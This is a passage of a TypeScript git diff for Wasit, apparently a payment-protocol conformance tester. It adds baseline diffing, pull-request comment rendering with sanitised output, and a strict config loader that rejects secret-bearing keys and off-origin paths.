baseline from another environment is another service: comparing them would + * show regressions that are not. + */ +export function baselineProblem(report: RunReport, baseline: RunReport): string | undefined { + if (baseline.environment !== report.environment) { + return `the baseline is from environment ${baseline.environment} and this run is ${report.environment}, so the two are not compared`; + } + return undefined; +} + +/** + * The baseline a run may be compared with, and the reason when there is none. + * + * `read` is what {@link readBaseline} gave for the file, or undefined when no + * baseline was looked for. The result carries a baseline only if it validated + * and is from the same environment; otherwise it carries the reason, which the + * comment shows and the run notes. + */ +export function selectBaseline( + report: RunReport, + read: BaselineResult | undefined, +): { readonly baseline?: Baseline; readonly note?: string } { + if (read === undefined) return {}; + if (!read.ok) return { note: read.reason }; + const problem = baselineProblem(report, read.baseline.report); + return problem === undefined ? { baseline: read.baseline } : { note: problem }; +} + +// --------------------------------------------------------------------------- +// Diff + +export type ChangeKind = + | "new-failure" + | "fixed" + | "regression" + | "graded" + | "new-endpoint" + | "removed-endpoint" + | "status-changed"; + +export interface Change { + readonly kind: ChangeKind; + readonly endpoint: string; + readonly check?: string; + readonly from?: string; + readonly to?: string; +} + +const GRADED: readonly EndpointOutcome[] = ["conformant", "non-conformant"]; + +function statuses(endpoint: EndpointReport): Map { + const map = new Map(); + for (const result of endpoint.results) { + // A FAIL is never hidden by a second entry for the same id. + if (map.get(result.id) !== "FAIL") map.set(result.id, result.status); + } + return map; +} + +/** + * What changed against the baseline, by endpoint name: new and removed + * endpoints, an endpoint that is no longer graded (a regression) or is now, and + * per check a new FAIL, a FAIL that passes, and any other status that differs. + * A check that is in only one of the two reports is not a change. + */ +export function diffReports(report: RunReport, baseline: RunReport): Change[] { + const changes: Change[] = []; + const before = new Map(baseline.endpoints.map((endpoint) => [endpoint.name, endpoint])); + const now = new Set(report.endpoints.map((endpoint) => endpoint.name)); + + for (const endpoint of report.endpoints) { + const earlier = before.get(endpoint.name); + if (earlier === undefined) { + changes.push({ kind: "new-endpoint", endpoint: endpoint.name }); + continue; + } + const wasGraded = GRADED.includes(earlier.outcome); + const isGraded = GRADED.includes(endpoint.outcome); + if (wasGraded && !isGraded) { + changes.push({ kind: "regression", endpoint: endpoint.name, from: earlier.outcome, to: endpoint.outcome }); + } else if (!wasGraded && isGraded) { + changes.push({ kind: "graded", endpoint: endpoint.name, from: earlier.outcome, to: endpoint.outcome }); + } + + const was = statuses(earlier); + for (const [check, status] of statuses(endpoint)) { + const from = was.get(check); + if (from === undefined || from === status) continue; + const kind: ChangeKind = status === "FAIL" ? "new-failure" : from === "FAIL" && status === "PASS" ? "fixed" : "status-changed"; + changes.push({ kind, endpoint: endpoint.name, check, from, to: status }); + } + } + + for (const endpoint of baseline.endpoints) { + if (!now.has(endpoint.name)) changes.push({ kind: "removed-endpoint", endpoint: endpoint.name }); + } + return changes; +} + +/** A service that was graded on the default branch and is not graded now (spec A8 #3, D-021). */ +export interface Regression { + readonly endpoint: string; + readonly was: "conformant" | "non-conformant"; + readonly now: "unsupported" | "no-verdict"; +} + +export function findRegressions(report: RunReport, baseline: RunReport): Regression[] { + return diffReports(report, baseline) + .filter((change) => change.kind === "regression") + .map((change) => ({ + endpoint: change.endpoint, + was: change.from as Regression["was"], + now: change.to as Regression["now"], + })); +} diff --git a/packages/core/src/check.ts b/packages/core/src/check.ts index cb4cd43..7dae23d 100644 --- a/packages/core/src/check.ts +++ b/packages/core/src/check.ts @@ -4,6 +4,38 @@ import { catalogueEntry, docsUrlFor } from "./catalogue.js"; import { type CheckError, classifyCheckError } from "./errors.js"; +import { sanitizeText } from "./sanitize.js"; + +/** + * Why a check did not run, for a reader who has to tell "Wasit cannot grade + * this" from "you asked for less" from "an earlier check failed". The four + * statuses stay as they are; this refines SKIP and nothing else. + * + * - `unsupported`: Wasit cannot grade it (an x402 v1 challenge, a network it + * does not pay on). Not a FAIL, and not a pass either. + * - `resource-consumed`: the first payment used up a single-use resource. + * - `needs-payer`: the check pays and no payer key was given. + * - `read-only`: the run was asked not to pay. + * - `not-applicable`: the target gives the check nothing to test. + * - `dependency`: an earlier check failed or gave no verdict, so there is + * nothing for this one to inspect. + */ +export type SkipKind = + | "unsupported" + | "resource-consumed" + | "needs-payer" + | "read-only" + | "not-applicable" + | "dependency"; + +export const SKIP_KINDS: readonly SkipKind[] = [ + "unsupported", + "resource-consumed", + "needs-payer", + "read-only", + "not-applicable", + "dependency", +]; export interface CheckResult { /** Stable catalogue identifier, e.g. "MPP-11". Must match docs/CHECKS.md. */ @@ -18,6 +50,16 @@ export interface CheckResult { * {@link fixFor}). Meaningful only on a FAIL. */ hint?: string; + /** + * What the check expected, and what the service sent instead, in a few words + * each ("status 402", "status 200"). Set by the check that knows them, on a + * FAIL, so a report can show the reason, the expected and the actual value, + * and the fix. `detail` and `hint` say the same in prose and are unchanged. + * Both quote the service, so both pass through the sanitiser on the way out, + * and are cut to a short length there, after the secrets are removed. + */ + expected?: string; + actual?: string; /** * True when the check did not run. A skipped check is neither a pass nor a * failure: `pass` is false so it can never be counted as conformance, and @@ -26,6 +68,8 @@ export interface CheckResult { skipped?: boolean; /** Why the check was skipped. Required whenever `skipped` is true. */ skipReason?: string; + /** What kind of reason it is, when the code that skipped it knows. Meaningful only on a SKIP. */ + skipKind?: SkipKind; /** * True when running this check permanently alters the target's state. * Destructive checks are skipped unless the operator explicitly opts in, @@ -145,18 +189,37 @@ export function errored(id: string, name: string, error: unknown): CheckResult { }; } -/** Builds the result for a check that was not run, for a non-destructive reason. */ -export function skipped(id: string, name: string, reason: string): CheckResult { +/** + * Builds the result for a check that was not run, for a non-destructive reason. + * `kind` says what sort of reason it is; leave it out when the code does not know. + */ +export function skipped(id: string, name: string, reason: string, kind?: SkipKind): CheckResult { return { id, name, pass: false, skipped: true, skipReason: reason, + ...(kind === undefined ? {} : { skipKind: kind }), detail: `Skipped: ${reason}`, }; } +/** + * A value a service sent, quoted for the `actual` of a FAIL: a string in JSON + * quotes (control characters written out, not carried), anything else as JSON. + * + * Not cut here unless `max` is given. A cut made before the secrets of the run + * are removed can leave the start of a secret in the output, so the cut is made + * by the sinks that remove them (`redactValue`, the comment renderer). + */ +export function quoteValue(value: unknown, max?: number): string { + const quoted = typeof value === "string" ? JSON.stringify(value) : (JSON.stringify(value) ?? String(value)); + if (max === undefined) return quoted; + const characters = Array.from(quoted); + return characters.length <= max ? quoted : `${characters.slice(0, Math.max(1, max - 1)).join("")}…`; +} + /** What to do about a failure, and where it is documented. */ export interface FailureGuidance { readonly fix: string; @@ -188,6 +251,12 @@ export interface StructuredCheckResult { * unreachable | configuration | harness | setup. */ readonly errorKind?: string; + /** Present only when `status` is "SKIP" and the reason has a kind: see {@link SkipKind}. */ + readonly skipKind?: SkipKind; + /** Present only when `status` is "FAIL" and the check recorded it: what it expected. */ + readonly expected?: string; + /** Present only when `status` is "FAIL" and the check recorded it: what the service sent. */ + readonly actual?: string; /** Present only when `status` is "FAIL": what to change (see {@link fixFor}). */ readonly fix?: string; /** Present only when `status` is "FAIL": the check's docs page. */ @@ -232,14 +301,25 @@ export function toStructuredRun(results: CheckResult[]): StructuredRun { skipped: counts.skipped, results: results.map((result) => { const guidance = fixFor(result); + const status = checkStatus(result); return { id: result.id, - name: result.name, - status: checkStatus(result), - detail: result.detail, + // Text a service chose can reach these three fields; the report is a + // sink for the one sanitiser (spec A8 #6). + name: sanitizeText(result.name), + status, + detail: sanitizeText(result.detail), destructive: result.destructive === true, ...(result.error ? { errorKind: result.error.kind } : {}), - ...(guidance ?? {}), + ...(status === "SKIP" && result.skipKind !== undefined ? { skipKind: result.skipKind } : {}), + ...(status === "FAIL" && result.expected !== undefined ? { expected: sanitizeText(result.expected) } : {}), + ...(status === "FAIL" && result.actual !== undefined ? { actual: sanitizeText(result.actual) } : {}), + ...(guidance === undefined + ? {} + : { + fix: sanitizeText(guidance.fix), + ...(guidance.docs === undefined ? {} : { docs: guidance.docs }), + }), }; }), }; diff --git a/packages/core/src/ci-report.ts b/packages/core/src/ci-report.ts new file mode 100644 index 0000000..6a14468 --- /dev/null +++ b/packages/core/src/ci-report.ts @@ -0,0 +1,267 @@ +/** + * The pull request comment and the job summary (spec A4, A5), as pure + * functions over the run report and, when there is one, the baseline of the + * default branch. + * + * Every value that can carry text a service chose goes through + * `sanitizeForMarkdown`: one line, links and mentions removed, 300 characters at + * most, Markdown and HTML escaped. What is not passed through it is a constant + * of this file, a number, or a value checked against a fixed set (an outcome, a + * status, a protocol, a version, a docs link on usewasit.dev). + */ + +import { + baselineProblem, + diffReports, + recentFailures, + type Baseline, + type Change, + type ChangeKind, +} from "./baseline.js"; +import type { SkipKind } from "./check.js"; +import { checkGroup, describeTotals, type CheckGroup, type EndpointReport, type RunReport } from "./report.js"; +import { sanitizeForMarkdown } from "./sanitize.js"; +import type { ToolVersions } from "./versions.js"; +import { runExitCode } from "./verdict.js"; + +/** The comment that starts with this is the one Wasit updates. */ +export const COMMENT_MARKER = ""; + +/** GitHub refuses a comment over 65,536 characters; stay well under. */ +const MAX_COMMENT_CHARACTERS = 60_000; +const MAX_FAILURES_SHOWN = 20; +const MAX_CHANGES_SHOWN = 30; +const MAX_RECENT_SHOWN = 10; + +export interface CiReportInput { + readonly report: RunReport; + /** The baseline of the default branch, when one was found and could be read. */ + readonly baseline?: Baseline; + /** Why no baseline could be used, when one was looked for: shown in place of "no baseline yet". */ + readonly baselineNote?: string; + /** Values no output may carry (a header value, a key, an RPC url). */ + readonly secrets?: readonly string[]; +} + +/** Docs links go in only if they point at the site: the file they come from is data. */ +const DOCS_LINK = /^https:\/\/usewasit\.dev\/[A-Za-z0-9/_.-]*$/; +const VERSION = /^[0-9A-Za-z.+-]{1,40}$/; + +const GROUP_LABEL: Readonly> = { + challenge: "challenge", + payment: "payment", + mppCharge: "MPP charge", + mppChannel: "MPP channel", +}; +const GROUP_ORDER: readonly CheckGroup[] = ["challenge", "payment", "mppCharge", "mppChannel"]; + +const SKIP_KIND_TEXT: Readonly> = { + "read-only": "read-only tier", + "needs-payer": "no payer key", + unsupported: "unsupported", + "resource-consumed": "resource consumed", + "not-applicable": "not applicable", + dependency: "an earlier check did not pass", +}; + +const CHANGE_ORDER: readonly ChangeKind[] = [ + "regression", + "new-failure", + "status-changed", + "fixed", + "graded", + "new-endpoint", + "removed-endpoint", +]; + +function version(value: string): string { + return VERSION.test(value) ? value : "unknown"; +} + +/** "challenge 5/5", or "payment not run: read-only tier" when the whole group was skipped for one reason. */ +function groupText(endpoint: EndpointReport, group: CheckGroup): string | undefined { + const results = endpoint.results.filter((result) => checkGroup(result.id, endpoint.protocol) === group); + if (results.length === 0) return undefined; + const count = (status: string): number => results.filter((result) => result.status === status).length; + const label = GROUP_LABEL[group]; + const skipped = count("SKIP"); + if (skipped === results.length) { + const kinds = new Set(results.map((result) => result.skipKind)); + const [only] = [...kinds]; + return kinds.size === 1 && only !== undefined ? `${label} not run: ${SKIP_KIND_TEXT[only]}` : `${label} not run`; + } + const parts = [`${label} ${count("PASS")}/${results.length}`]; + if (count("FAIL") > 0) parts.push(`${count("FAIL")} failed`); + if (count("ERROR") > 0) parts.push(`${count("ERROR")} could not run`); + if (skipped > 0) parts.push(`${skipped} skipped`); + return parts.join(", "); +} + +function checksCell(endpoint: EndpointReport): string { + return GROUP_ORDER.map((group) => groupText(endpoint, group)).filter((text) => text !== undefined).join("; "); +} + +function renderBody(input: CiReportInput): string { + const { report } = input; + const md = (value: string): string => sanitizeForMarkdown(value, { redact: input.secrets ?? [] }); + + // A baseline from another environment is another service: it is not compared. + const problem = input.baseline === undefined ? undefined : baselineProblem(report, input.baseline.report); + const baseline = problem === undefined ? input.baseline : undefined; + const note = problem ?? input.baselineNote; + + const verdict = runExitCode(report, baseline?.report); + const couldNotRun = report.endpoints.some((endpoint) => endpoint.results.some((result) => result.status === "ERROR")); + const word = + verdict.code === 0 + ? "conformant" + : verdict.code === 1 + ? report.totals.nonConformant > 0 + ? "non-conformant" + : "regression" + : report.totals.graded === 0 && !couldNotRun + ? "nothing graded" + : "no verdict"; + + const sdk = report.sdk; + const out: string[] = [ + `**Wasit: ${word}.** ${describeTotals(report.totals)} on ${md(report.environment)}, ${md(report.network)}. ` + + `Wasit ${version(report.wasit.cli)} (core ${version(report.wasit.core)}), x402 v2, ` + + `@x402/core ${version(sdk["@x402/core"])}, @x402/stellar ${version(sdk["@x402/stellar"])}, ` + + `@stellar/mpp ${version(sdk["@stellar/mpp"])}, mppx ${version(sdk.mppx)}, ` + + `@stellar/stellar-sdk ${version(sdk["@stellar/stellar-sdk"])}.`, + "", + "| Endpoint | Protocol | Outcome | Checks |", + "| --- | --- | --- | --- |", + ...report.endpoints.map( + (endpoint) => `| ${md(endpoint.name)} | ${endpoint.protocol} | ${endpoint.outcome} | ${checksCell(endpoint)} |`, + ), + ]; + + const notGraded = report.endpoints.filter( + (endpoint) => (endpoint.outcome === "unsupported" || endpoint.outcome === "no-verdict") && endpoint.reason !== undefined, + ); + if (notGraded.length > 0) { + out.push("", "### Not graded"); + for (const endpoint of notGraded) out.push(`- **${md(endpoint.name)}**: ${endpoint.outcome}. ${md(endpoint.reason ?? "")}`); + } + + out.push("", "### Changed since main"); + if (baseline === undefined) { + out.push( + note === undefined + ? "No baseline on main yet, so nothing is compared. The next run on main creates it." + : `The baseline from main could not be used (${md(note)}), so nothing is compared and the history starts again with the next run on main.`, + ); + } else { + const changes = diffReports(report, baseline.report).sort( + (a: Change, b: Change) => CHANGE_ORDER.indexOf(a.kind) - CHANGE_ORDER.indexOf(b.kind), + ); + if (changes.length === 0) out.push("No change since main."); + for (const change of changes.slice(0, MAX_CHANGES_SHOWN)) out.push(`- ${describeChange(change, md)}`); + if (changes.length > MAX_CHANGES_SHOWN) out.push(`- ${changes.length - MAX_CHANGES_SHOWN} more changes not shown.`); + } + + const failures = report.endpoints.flatMap((endpoint) => + endpoint.results.filter((result) => result.status === "FAIL").map((result) => ({ endpoint, result })), + ); + if (failures.length > 0) { + out.push("", "### Failures"); + for (const { endpoint, result } of failures.slice(0, MAX_FAILURES_SHOWN)) { + out.push("", `**${md(endpoint.name)}: ${md(result.id)} ${md(result.name)}**`, `- Found: ${md(result.detail)}`); + // What the check expected and what the service sent: quoted from the service, so cut and escaped like the rest. + if (result.expected !== undefined) out.push(`- Expected: ${md(result.expected)}`); + if (result.actual !== undefined) out.push(`- Actual: ${md(result.actual)}`); + if (result.fix !== undefined) out.push(`- Fix: ${md(result.fix)}`); + if (result.docs !== undefined && DOCS_LINK.test(result.docs)) out.push(`- Docs: ${result.docs}`); + } + if (failures.length > MAX_FAILURES_SHOWN) { + const rest = failures.length - MAX_FAILURES_SHOWN; + out.push("", `${rest} more failure${rest === 1 ? "" : "s"} not shown.`); + } + } + + const recent = baseline === undefined ? [] : recentFailures(baseline.history); + if (recent.length > 0) { + out.push("", "### Recent failures on main"); + for (const item of recent.slice(0, MAX_RECENT_SHOWN)) { + out.push(`- ${md(item.endpoint)} ${md(item.check)}: failed in ${item.failed} of the last ${item.runs} runs on main`); + } + } + + if (report.notes.length > 0) { + out.push("", "### Notes"); + for (const item of report.notes) out.push(`- ${md(item)}`); + } + + return out.join("\n"); +} + +function describeChange(change: Change, md: (value: string) => string): string { + const endpoint = md(change.endpoint); + const check = md(change.check ?? ""); + switch (change.kind) { + case "regression": + return `Regression: ${endpoint} was ${change.from} on main and is now ${change.to}.`; + case "new-failure": + return `New FAIL: ${endpoint} ${check} (was ${change.from} on main).`; + case "fixed": + return `Fixed: ${endpoint} ${check} (was FAIL on main).`; + case "status-changed": + return `${endpoint} ${check}: ${change.from} on main, now ${change.to}.`; + case "graded": + return `Now graded: ${endpoint} (was ${change.from} on main).`; + case "new-endpoint": + return `New endpoint: ${endpoint}.`; + case "removed-endpoint": + return `Removed endpoint: ${endpoint}.`; + } +} + +/** A text over the limit is cut at a line break, and says so. */ +function withinLimit(text: string): string { + if (text.length <= MAX_COMMENT_CHARACTERS) return text; + const cut = text.lastIndexOf("\n", MAX_COMMENT_CHARACTERS - 200); + return `${text.slice(0, cut > 0 ? cut : MAX_COMMENT_CHARACTERS - 200)}\n\n(The rest is cut: the full report is in the job's wasit-report.json.)`; +} + +/** The pull request comment: the marker, then the report. */ +export function renderComment(input: CiReportInput): string { + return withinLimit(`${COMMENT_MARKER}\n${renderBody(input)}\n`); +} + +/** The job summary: the same text without the marker. */ +export function renderSummary(input: CiReportInput): string { + return withinLimit(`${renderBody(input)}\n`); +} + +/** + * What the comment says when the run left no report to render: the service did + * not start, never answered, or the config could not be used. The comment from + * the push before must not stay next to a red check, so this replaces it. The + * text is fixed: nothing from the service, the config or the broken report is + * quoted, because none of it can be trusted to be there or to be safe. + */ +function renderNoReportBody(versions: ToolVersions): string { + const sdk = versions.sdk; + return [ + "**Wasit: no verdict.** The run ended before it wrote a report, so nothing was graded. " + + `Wasit ${version(versions.wasit.cli)} (core ${version(versions.wasit.core)}), x402 v2, ` + + `@x402/core ${version(sdk["@x402/core"])}, @x402/stellar ${version(sdk["@x402/stellar"])}, ` + + `@stellar/mpp ${version(sdk["@stellar/mpp"])}, mppx ${version(sdk.mppx)}, ` + + `@stellar/stellar-sdk ${version(sdk["@stellar/stellar-sdk"])}.`, + "", + "This is not a failure of the service and not a pass: the service did not start or never answered, " + + "or the config could not be used. The reason is in the job log. This comment is replaced on the next push.", + ].join("\n"); +} + +/** The pull request comment for a run that left no report: the marker, then the fixed text. */ +export function renderNoReportComment(versions: ToolVersions): string { + return `${COMMENT_MARKER}\n${renderNoReportBody(versions)}\n`; +} + +/** The job summary for a run that left no report: the same text without the marker. */ +export function renderNoReportSummary(versions: ToolVersions): string { + return `${renderNoReportBody(versions)}\n`; +} diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts new file mode 100644 index 0000000..ba972ca --- /dev/null +++ b/packages/core/src/config.ts @@ -0,0 +1,1167 @@ +/** + * `wasit.config.json`, version 1: the schema and the loader. + * + * One file, read the same way by `wasit run`, the Action and `wasit init`. It + * is committed, so a pull request can change it, and every run reads it. That + * shapes the loader: + * + * - strict: an unknown key or version is an error that names the key, never a + * setting that is silently dropped; + * - closed: a secret, a secret variable name, the mainnet opt-in, a flag that + * enables MPP-13 and a per-payment cap have no place in the file, and each is + * refused with its own reason (the only cap the file may set is a LOWER + * per-run one, `maxRunUsd`, at most 5); + * - quiet: an error names the key and never the value, so a secret that was + * pasted into the file by mistake does not come back through the message; + * - bounded: a path cannot leave the origin of `baseUrl`, and a header that is + * a credential travels in an environment variable, not in the file. + * + * Pure and offline: it reads a file at most, and sends and signs nothing. + */ + +import { readFileSync, statSync } from "node:fs"; + +import { StrKey } from "@stellar/stellar-sdk"; + +import { PROTOCOL_IDS, type ProtocolId } from "./catalogue.js"; +import { ConfigurationError } from "./errors.js"; +import { networkClass, type NetworkClass } from "./guard/networks.js"; +import { sanitizeText } from "./sanitize.js"; +import { validateNetwork } from "./x402/requirements.js"; + +/** The only version this loader reads. */ +export const CONFIG_VERSION = 1; + +/** The most a config file may weigh. A real one is a few kilobytes. */ +const MAX_CONFIG_BYTES = 256 * 1024; + +/** The most a request body (or a reject variant's) may weigh once serialised. */ +const MAX_BODY_BYTES = 64 * 1024; + +const MAX_ENDPOINTS = 50; +const MAX_DEPTH = 32; +const MAX_ISSUES_SHOWN = 10; + +/** The most the file may set a run to spend. The built-in per-run cap, which the file can only lower. */ +const MAX_RUN_USD = 5; + +/** One problem found in a config, located by the key it is about. */ +export interface ConfigIssue { + /** Dotted path of the key, e.g. `endpoints[1].headers.authorization`. Empty for the file itself. */ + readonly path: string; + /** What is wrong and what to do. Never contains a value from the file. */ + readonly message: string; +} + +/** + * The config cannot be used. A `ConfigurationError`: nothing is learned about + * any service, so it is no verdict and exits 2. + */ +export class ConfigError extends ConfigurationError { + public readonly issues: readonly ConfigIssue[]; + + public constructor(title: string, issues: readonly ConfigIssue[]) { + const shown = issues + .slice(0, MAX_ISSUES_SHOWN) + .map((issue) => ` - ${issue.path === "" ? "(file)" : issue.path}: ${issue.message}`); + const more = issues.length > MAX_ISSUES_SHOWN ? [` - and ${issues.length - MAX_ISSUES_SHOWN} more`] : []; + super([title, ...shown, ...more].join("\n")); + this.name = "ConfigError"; + this.issues = issues; + } +} + +/** A JSON value, as a request body may be. */ +export type JsonValue = null | boolean | number | string | readonly JsonValue[] | { readonly [key: string]: JsonValue }; + +export interface ReadyConfig { + readonly url: string; + readonly timeoutSeconds: number; +} + +export interface ServiceConfig { + readonly start?: string; + readonly ready?: ReadyConfig; +} + +export interface PinConfig { + readonly payTo: string; + readonly asset: string; +} + +export interface EnvironmentConfig { + /** An http(s) URL with no credentials, query or fragment; no trailing slash. */ + readonly baseUrl: string; + /** A CAIP-2 id. Default `stellar:testnet`. */ + readonly network: string; + /** Must be true for any payment check to run on this environment. Default false. */ + readonly operatedByMe: boolean; + readonly pinned?: PinConfig; + /** Env `WASIT_RPC_URL` wins. Only its origin is ever printed. */ + readonly rpcUrl?: string; + /** A LOWER per-run cap in USD, above 0 and at most 5. */ + readonly maxRunUsd?: number; +} + +export interface RejectConfig { + readonly method?: string; + readonly headers: Readonly>; + readonly body?: JsonValue; + readonly note?: string; +} + +export interface ChannelExpectation { + readonly token?: string; + readonly from?: string; + readonly to?: string; + readonly refundWaitingPeriod?: number; +} + +export interface EndpointConfig { + readonly name: string; + readonly protocol: ProtocolId; + /** Starts with a single `/`; joined to `baseUrl`, it keeps the origin. */ + readonly path: string; + /** Upper case. Default GET. */ + readonly method: string; + readonly headers: Readonly>; + /** A JSON value (serialised by Wasit) or a string (sent verbatim). */ + readonly body?: JsonValue; + readonly reject?: RejectConfig; + readonly channel?: string; + readonly expect?: ChannelExpectation; +} + +export interface WasitConfig { + readonly version: 1; + readonly service?: ServiceConfig; + readonly defaultEnvironment?: string; + readonly environments: Readonly>; + readonly endpoints: readonly EndpointConfig[]; +} + +// --------------------------------------------------------------------------- +// Issues + +class Issues { + public readonly list: ConfigIssue[] = []; + + public add(path: string, message: string): void { + // A path is built from keys the file chose: sanitised, one line, bounded. + const clean = sanitizeText(path).replace(/\s+/g, " ").slice(0, 120); + this.list.push({ path: clean, message }); + } +} + +const TITLE = "Invalid wasit.config.json:"; + +function failIfAny(issues: Issues): void { + if (issues.list.length > 0) throw new ConfigError(TITLE, issues.list); +} + +function at(parent: string, key: string): string { + return parent === "" ? key : `${parent}.${key}`; +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +// --------------------------------------------------------------------------- +// Keys + +/** Keys that have no place in the file, by what their name says, each with the reason. */ +const FORBIDDEN_KEYS: ReadonlyArray<{ readonly match: RegExp; readonly reason: string }> = [ + { + match: /secret|privatekey|payerkey|commitment|passw|mnemonic|seed|apikey|accesskey|token|credential|signingkey|signer/, + reason: + "secrets never go in this file, which is committed: give them to the run as environment variables", + }, + { + match: /mainnet|optin|pubnet/, + reason: "the mainnet opt-in is never set in this file: it is a flag or an input on one run", + }, + { + match: /destructive|mpp13|closechannel|allowclose/, + reason: "MPP-13 closes a channel for good and is never enabled from a file", + }, + { + match: /^cap$|cap$|maxpayment|perpayment|paymentcap|paymentlimit|maxamount|spendlimit|maxspend|maxusd/, + reason: + "the per-payment cap ($1) is fixed in the code and cannot be raised from a file; " + + "this file may only lower the per-run cap, with maxRunUsd", + }, +]; + +/** Why `key` is forbidden, if its name says so. */ +function forbiddenKeyReason(key: string): string | undefined { + const normal = key.toLowerCase().replace(/[^a-z0-9]/g, ""); + return FORBIDDEN_KEYS.find((rule) => rule.match.test(normal))?.reason; +} + +/** Refuses every key of `object` that is not in `allowed`, a forbidden one with its own reason. */ +function checkKeys(object: Record, allowed: readonly string[], path: string, issues: Issues): void { + for (const key of Object.keys(object)) { + if (allowed.includes(key)) continue; + const reason = forbiddenKeyReason(key); + issues.add( + at(path, key), + reason === undefined + ? "unknown key: wasit.config.json version 1 has no such setting (a misspelt key is refused, not ignored)" + : `not allowed in this file: ${reason}`, + ); + } +} + +/** A Stellar secret key, as a value anywhere in the file. */ +const STELLAR_SECRET = /S[A-Z2-7]{55}/; + +/** + * Finds any string value shaped like a Stellar secret key, in the whole file, + * body and headers included. The path is reported; the value never is. + */ +function scanForSecrets(value: unknown, path: string, depth: number, issues: Issues): void { + if (typeof value === "string") { + if (STELLAR_SECRET.test(value)) { + issues.add( + path, + "contains a value shaped like a Stellar secret key; remove it from the file (and rotate the key if it is real)", + ); + } + return; + } + if (typeof value !== "object" || value === null) return; + if (depth > MAX_DEPTH) { + issues.add(path, `is nested more than ${MAX_DEPTH} levels deep`); + return; + } + if (Array.isArray(value)) { + value.forEach((item, index) => scanForSecrets(item, `${path}[${index}]`, depth + 1, issues)); + return; + } + for (const [key, item] of Object.entries(value)) scanForSecrets(item, at(path, key), depth + 1, issues); +} + +// --------------------------------------------------------------------------- +// Values + +const NAME = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/; +const CONTROL = /[\u0000-\u001f\u007f-\u009f]/; +const ADDRESS = /^[A-Za-z0-9]{20,128}$/; + +/** The methods a request may use; the same set the checks accept. */ +const HTTP_METHODS: readonly string[] = ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"]; +const BODYLESS_METHODS: readonly string[] = ["GET", "HEAD"]; + +/** Parses an http(s) URL; the reason it is not one otherwise. Never echoes the URL. */ +function readHttpUrl(value: unknown): { url: URL } | { problem: string } { + if (typeof value !== "string") return { problem: "must be a URL, written as a string" }; + let url: URL; + try { + url = new URL(value); + } catch { + return { problem: "is not a valid absolute URL; include the scheme, e.g. http://127.0.0.1:3000" }; + } + if (url.protocol !== "http:" && url.protocol !== "https:") { + return { problem: "must be an http or https URL" }; + } + if (url.hostname === "") return { problem: "has no host" }; + return { url }; +} + +function hasCredentials(url: URL): boolean { + return url.username !== "" || url.password !== ""; +} + +function readBaseUrl(value: unknown, path: string, issues: Issues): string | undefined { + const parsed = readHttpUrl(value); + if ("problem" in parsed) { + issues.add(path, parsed.problem); + return undefined; + } + const { url } = parsed; + if (hasCredentials(url)) { + issues.add(path, "must not carry credentials (user:password@): the URL is printed in reports"); + return undefined; + } + if (url.search !== "" || url.hash !== "") { + issues.add(path, "must not carry a query or fragment: put those in an endpoint's path"); + return undefined; + } + return url.origin + url.pathname.replace(/\/+$/, ""); +} + +/** A host that is this machine. The readiness wait probes nothing else. */ +function isLoopbackHost(hostname: string): boolean { + return hostname === "localhost" || hostname === "[::1]" || /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(hostname); +} + +/** True for an http(s) URL on this machine with no credentials: the only kind a readiness wait may probe. */ +export function isLoopbackUrl(url: string): boolean { + try { + const parsed = new URL(url); + return ( + (parsed.protocol === "http:" || parsed.protocol === "https:") && + isLoopbackHost(parsed.hostname) && + parsed.username === "" && + parsed.password === "" + ); + } catch { + return false; + } +} + +function readRpcUrl(value: unknown, path: string, issues: Issues): string | undefined { + const parsed = readHttpUrl(value); + if ("problem" in parsed) { + issues.add(path, parsed.problem); + return undefined; + } + if (hasCredentials(parsed.url) || parsed.url.search !== "" || parsed.url.hash !== "") { + issues.add( + path, + "must not carry credentials, a query or a fragment: this file is committed, and an RPC key " + + "usually travels there. Set the full URL in the environment variable WASIT_RPC_URL instead", + ); + return undefined; + } + return parsed.url.href; +} + +function readName(value: unknown, path: string, what: string, issues: Issues): string | undefined { + if (typeof value === "string" && NAME.test(value)) return value; + issues.add(path, `${what} must be 1 to 64 letters, digits, dots, underscores or hyphens, starting with a letter or digit`); + return undefined; +} + +// --------------------------------------------------------------------------- +// Paths + +/** Why `path` could leave the origin it is joined to, if it could. */ +function pathProblem(path: unknown): string | undefined { + if (typeof path !== "string") return "must be a path, written as a string"; + if (!path.startsWith("/")) return "must start with a single / (a path on the service, not a URL or a host)"; + // `//host` is a network-path reference and `/\host` is read as one by the URL parser. + if (path.startsWith("//") || path.startsWith("/\\")) return "must start with a single /, not // or /\\"; + // Tab and newline are removed by the URL parser, so `//host` becomes `//host`; a backslash is a slash. + if (/[\\\s#\u0000-\u001f\u007f-\u009f]/.test(path)) { + return "must not contain a space, a control character, a backslash or a #"; + } + return undefined; +} + +/** + * Joins a base URL and a path, keeping the base URL's origin. + * + * The path is held to the rules above, and the result is checked to have the + * origin of `baseUrl`: a path that could carry a request to another host is + * refused, not repaired (spec A8 #5). + * + * @throws {ConfigError} For a path that could leave the origin, or a base URL that is not one. + */ +export function joinTarget(baseUrl: string, path: string): string { + const issues = new Issues(); + const problem = pathProblem(path); + if (problem !== undefined) issues.add("path", problem); + const base = readBaseUrl(baseUrl, "baseUrl", issues); + if (base === undefined || problem !== undefined) throw new ConfigError("Cannot join the target:", issues.list); + + const joined = new URL(base + path); + if (joined.origin !== new URL(base).origin) { + throw new ConfigError("Cannot join the target:", [{ path: "path", message: "leaves the origin of baseUrl" }]); + } + return joined.href; +} + +// --------------------------------------------------------------------------- +// Headers + +/** A header name's characters (RFC 9110 token). */ +const HEADER_TOKEN = /^[!#$%&'*+.^_`|~0-9A-Za-z-]+$/; + +/** A name that carries a credential: it travels in the environment, never in a committed file. */ +const CREDENTIAL_HEADER_PARTS = ["authorization", "cookie", "key", "token", "secret", "password"]; + +/** Headers Wasit sets itself, or the transport owns. A file or variable that sets one would change the request a check describes. */ +const OWN_HEADERS: ReadonlySet = new Set([ + "x-payment", + "payment-signature", + "payment-required", + "payment-response", + "host", + "content-length", + "connection", + "transfer-encoding", +]); + +const MAX_HEADER_VALUE = 1000; + +/** The variable that carries the value of header `name`: upper case, `-` written as `_`. */ +export function headerEnvName(name: string): string { + return `WASIT_HEADER_${name.toUpperCase().replace(/-/g, "_")}`; +} + +function readHeaders(raw: unknown, path: string, issues: Issues): Record { + if (raw === undefined) return {}; + if 